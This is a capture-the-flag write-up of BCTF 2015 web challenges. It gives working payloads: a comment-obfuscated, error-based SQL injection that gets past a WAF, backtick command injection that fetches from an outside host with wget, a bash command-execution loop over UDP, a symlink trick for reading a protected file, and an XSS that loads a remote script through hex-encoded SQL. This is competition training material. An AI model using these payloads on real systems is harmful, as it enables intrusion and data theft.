BCTF 2015 WEB题目通关攻略（Writeup）

Checkin 10

Desc: Please checkin at IRC

• IRC: http://webchat.freenode.net/
• Channels: bctf

Bulletin board:

[BCTF 2015 has started. Check in flag: OPGS{jr1p0zr-g0-OPGS-2015_t00q-yhpx}.

Rot13 decode:

OPGS{jr1p0zr-g0-OPGS-2015_t00q-yhpx} <--> BCTF{we1c0me-t0-BCTF-2015_g00d-luck}

Sqli_engineScore 200

Desc:

               http://104.197.7.111:8080/

geohot told me he has a lot of sql injection tricks. So I wrote a sql injection detection engine in defense.

Now you have a simple website protected by my engine, try to steal the admin’s password(not hash).

Username, Password ::: SQLi

 <form id="submit-form" class="form-group" action="/register" method="POST">
    <input type="text" placeholder="username" class="form-control" name="username"/>
    <input type="password" placeholder="password" class="form-control" name="password"/>
    <span class="input-icon fui-check-inverted"></span>
    <br />
    <div class="row">
      <div class="col-xs-3"> <button type="submit" class="btn btn-block btn-lg btn-primary">Register</button> </div>
      Already registered?<a href="/static/login.html">Click Here to Login</a>
    </div>
    <br />
  </form>

SQL Injection:

URL: http://104.197.7.111:8080/register
POST: username=admin&password=,'

error executing sql: insert into users (username, password) values ('admin', ','')

(1064, "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '','')' at line 1")

Continue:

username=admin\&password=,updatexml(1,(select password from users limit 1),1) or '

password contains SQL injection, IP recorded.

Bypass WAF:

username=admin\&password=,updatexml(1,(/*/*/select password from/*/*/users limit/*/*/1),1) or/*/*/'

(1105, "XPATH syntax error: '{h0w-d1d-y0u-fee1-l1ke-th3-sql1-'")

Substring right:

username=admin\&password=,updatexml(1,(/*/*/select right(password,33)/*/*/from/*/*/users limit/*/*/1),1) or/*/*/'

(1105, "XPATH syntax error: 'd-y0u-fee1-l1ke-th3-sql1-eng1ne}'")

String concatenation (FLAG):

{h0w-d1d-y0u-fee1-l1ke-th3-sql1-eng1ne}

Torrent_loverScore 233

Desc: A dog loves torrent.

http://218.2.197.253/zhongzi/index.php:

We guess, Maybe the command execution, The program calls the system function? Because we have no other way.

Testing:

http://www.google.com/`wget worm.cc:8000`/1.torrent
http://www.google.com/`wget${IFS}worm.cc:8000`/1.torrent

We have received req (404):

root@e:/rootkit# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
118.186.202.142 - - [22/Mar/2015 13:44:39] "GET / HTTP/1.1" 200 -
118.186.202.142 - - [22/Mar/2015 13:44:41] code 404, message File not found

ubd.sh:

#!/bin/bash

exec 9<> /dev/udp/localhost/8088
[ $? -eq 1 ] && exit
echo "connect ok" >&9

while :
do
  a=`dd bs=200 count=1 <&9 2>/dev/null`
  if echo "$a"|grep "exit"; then break; fi
  echo `$a` >&9
done

exec 9>&-
exec 9<&-

nc -lu 8088

find use_me_to_read_flag and flag:

/var/www/flag/use_me_to_read_flag /var/www/flag/flag
>_ Permission denied

IDA, see _strstr “flag”:

Cat FLAG:

ln -s /var/www/flag/flag /tmp/warning
/var/www/flag/use_me_to_read_flag /tmp/warning

Webchat 325

Desc: http://146.148.60.107:9991/

Websocket XSS? SQL Injection?

View-source:

<script>
    $(document).ready(
    function() {
        function connect() {
            $("#status").text("Connecting");
            $("#status").attr("class", "text-primary");
            var ws = new window.WebSocket('ws://' + location.host + '/ws');
            ws.onopen = function() { $("#status").attr('class', 'text-success').text('Connected'); 
                $("#submit_btn").attr('disabled', false).click(function() {
                    $("#sendstatus").attr('class', 'text-primary').text('Sending...');
                    ws.send($("#i_nick").val() + ": " + $("#i_msg").val());
                });
            }
            ws.onclose = function() { $("#status").attr('class', 'text-danger').text('Disconnected'); setTimeout(connect, 5000);}
            ws.onerror = function() { $("#status").attr('class', 'text-danger').text('Failed to connect.'); }
            ws.onmessage = function(datad) {
                var data = datad.data;
                if (data[0] == 'm') $("#msg").html(data.substr(1) + "<br/>" +  $("#msg").html());
                if (data[0] == 's') { $("#i_msg").val(''); $("#sendstatus").attr('class', 'text-success').text('Message Sent');}
                if (data[0] == 'e') { $("#i_msg").val(''); $("#sendstatus").attr('class', 'text-danger').text('Message Rejected');}
            }
        }
        connect();
    });
</script>

• http://ironwasp.org/cswsh.html
• ws://146.148.60.107:9991/ws

mysql> select hex('<script src=http://xss.net/0TLs5n?1426923466></script>');
+--------------------------------------------------------------+
| hex('<script src=http://xss.net/0TLs5n?1426923466></script>')                                                         	|
+--------------------------------------------------------------+
| 	
3C73637269707***********3D687474703A2F2F7873732E6861636B7461736B2E6E65742F30544C73356E3F
|
+--------------------------------------------------------------+


test: '),(0x3C73637269707***********3D687474703A2F2F7873732E6861636B7461736B2E6E65742F30544C73356E3F),('

http://146.148.60.107:9991/review?pass=QkNURnt4c3NfaXNfb**0X3RoYXRfZGlmZmljdWx0X3JpZ2h0fQ==&id=24

Page Content: Only admin in local network with correct password can review chat logs. But you’ve already had the flag you want,right?

➜  ~  echo -n "QkNURnt4c3NfaXNfb**0X3RoYXRfZGlmZmljdWx0X3JpZ2h0fQ==" | base64 -D
BCTF{xss_is_not_that_difficult_right}

【原文：BCTF 2015 WEB Writeup  安全脉搏编辑整理发布】